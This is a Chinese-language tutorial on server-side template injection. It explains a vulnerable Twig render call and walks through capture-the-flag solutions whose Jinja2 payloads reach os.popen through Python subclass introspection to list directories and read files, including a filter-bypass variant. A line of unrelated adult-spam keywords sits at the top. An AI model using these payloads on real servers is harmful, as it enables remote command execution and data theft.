欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

安全漏洞之SSTI模板注入深入解析

 更新時間:2022年10月10日 11:16:02   作者:XINO  
這篇文章主要為大家介紹了網(wǎng)絡安全漏洞相關SSTI模板注入深入解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪

引文

上篇文章帶來了反序列化漏洞的知識,還沒講過的基礎漏洞類型已經(jīng)很少了,今天給大家?guī)淼闹R點是SSTI模板注入,提到注入大家首先想到的肯定是SQL注入,而SSTI模板注入和SQL注入其實也存在著類似的點,接下來就詳細給大家講解一下。

簡介

服務端接收了用戶的輸入,將其作為 Web 應用模板內(nèi)容的一部分,在進行目標編譯渲染的過程中,執(zhí)行了用戶插入的惡意內(nèi)容,因而可能導致了敏感信息泄露、代碼執(zhí)行、GetShell 等問題。

原理

我們先引入一下服務器模板,頁面上的數(shù)據(jù)需要不斷更新,即為渲染。我們簡單舉一個例子:使用 Twig 模版引擎渲染頁面,其中模版含有 {{name}}變量,其模版變量值來自于 GET 請求參數(shù) $_GET["name"] ,如果渲染的模版內(nèi)容受到用戶的控制,代碼如下:

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");  // 將用戶輸入作為模版內(nèi)容的一部分
echo $output;

可以看到上面就是個漏洞點,服務端相信了用戶的輸出。

SSTI類型

根據(jù)模板類型的不同,包裹變量的標識符也大有不同,我們常見的模板引擎有,我們可以根據(jù)返回值的類型來判斷不同的模板引擎??梢愿鶕?jù)下圖來進行判斷:

基礎語法

class:查看變量所屬的類,根據(jù)前面的變量形式可以得到其所屬的類。

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>

bases:查看類所屬的基類

>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)

可以看到上面例子,基類都歸屬于object。

subclasses:查看當前的子類,格式:

變量.__class__.__bases__[0].__subclasses__()  

現(xiàn)在我們拿到了所有繼承Object類的子類的引用,在調(diào)用這些子類的方法,去進行我們的模板注入,講一下利用的前置知識。

init

__init__用于初始化類,意思就是拿到一個類之后要使用__init__之后我們才可以調(diào)用里面的函數(shù)和屬性 。

global

返回當前位置的全部模塊,方法和全局變量,配合著__init__使用 。

builtins

內(nèi)建名稱空間,內(nèi)建名稱空間有許多名字到對象之間映射,而這些名字其實就是內(nèi)建函數(shù)的名稱,對象就是這些內(nèi)建函數(shù)本身。即里面有很多常用的函數(shù)。

import

動態(tài)加載類和函數(shù),也就是導入模塊,用于導入os模塊__import__('os').popen('ls').read()]。

例題

學習到現(xiàn)在,我們可以嘗試做一個題目來鞏固一下:

先查找有沒有可用的子類,遍歷發(fā)現(xiàn)<class 'warnings.catch_warnings'> 利用這個子類可以查看目錄:

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')

讀取server.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')

得到flag。

過濾器

當然真正的題目不可能會這么簡單,里面會包含著過濾函數(shù),過濾特殊字符等操作,接下來給大家講講過濾器的知識點。

attr

用于獲取變量,可用于. [] 都被過濾的情況

join

將一個序列拼接成一個字符串,join ('|')將令每一個元素被'|'隔開

lower

將字符串轉(zhuǎn)換為小寫

string

將變量轉(zhuǎn)換為字符串,可以用符號構造出我們可利用的字符串、符號等。

reverse

字符反轉(zhuǎn)

format

格式化字符串

以上就簡單舉了點過濾器的例子與用法,當然上面列舉的只是一小部分,除了這些還有非常多的過濾器,一一列舉是列舉不完的

進階

接下來講一個有點難度的題帶大家加深理解,進去題目發(fā)現(xiàn)是一個如下的解碼加密網(wǎng)站。

用{{7*7}}加密解密得到49確定存在ssti模板注入,回顯是base64編碼的。簡單fuzz后發(fā)現(xiàn)過濾了flag、import、os、eval等關鍵詞。我們構造拆分語句:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

放到解碼區(qū),去解碼得到文件目錄:

進一步拼接去查看flag就OK了,構造最終payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

結(jié)語

今天比較詳細的講了SSTI模板注入漏洞的原理以及應用方法,可能剛開始學不太好理解,可以根據(jù)之前SQL注入的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是SSTI模板注入深入解析的詳細內(nèi)容,更多關于SSTI模板注入的資料請關注腳本之家其它相關文章!

相關文章

最新評論